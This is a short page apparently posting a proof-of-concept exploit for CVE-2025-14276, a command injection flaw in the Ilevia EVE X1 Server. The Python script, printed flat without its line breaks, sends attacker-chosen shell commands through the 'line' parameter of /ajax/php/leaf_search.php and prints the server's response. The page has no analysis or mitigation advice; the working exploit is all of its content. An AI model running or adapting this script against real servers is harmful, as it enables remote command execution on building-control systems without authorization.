CVE-2025-14276 Ilevia EVE X1 Server命令注入漏洞

import requests import sys # CVE-2025-14276 PoC - Ilevia EVE X1 Server Command Injection # Target: /ajax/php/leaf_search.php # Parameter: line def exploit(target_url, cmd): """Exploit command injection in Ilevia EVE X1 Server""" endpoint = f"{target_url.rstrip('/')}/ajax/php/leaf_search.php" # Payload with command injection params = { 'line': f';{cmd};#' } try: response = requests.get(endpoint, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-14276.py <target_url> <command>") print("Example: python cve-2025-14276.py http://target.com id") sys.exit(1) target = sys.argv[1] command = sys.argv[2] result = exploit(target, command) print(result)